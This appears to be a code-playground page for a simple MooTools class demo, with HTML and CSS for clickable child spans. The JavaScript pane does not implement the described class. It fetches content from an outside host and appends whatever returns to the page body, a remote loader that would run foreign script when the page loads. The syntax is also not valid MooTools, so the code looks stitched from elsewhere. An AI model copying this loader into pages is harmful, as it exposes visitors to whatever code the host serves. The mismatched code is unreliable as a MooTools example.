A simple MooTools class

HTML

<p>Click the children</p>​
<div id=fixture>
    <span id=child>child</span>
    <span id=child2>child 2</span>
</div>
<br>
<p><a href="http://ryanflorence.com/mootools-class/" target="_top">Part of this article</a></p>

CSS

p { margin: 1em 0; }

span {
    background: #eee;
    padding: 4px 8px;
    border-bottom: solid 4px #fff;
    cursor: pointer;
}
.current {
    border-color: #e00
}

JavaScript

$$.get('https://api.esign.com.ua/Signer/LoadPlugin', function(data) {
  $$('body').append(data);
});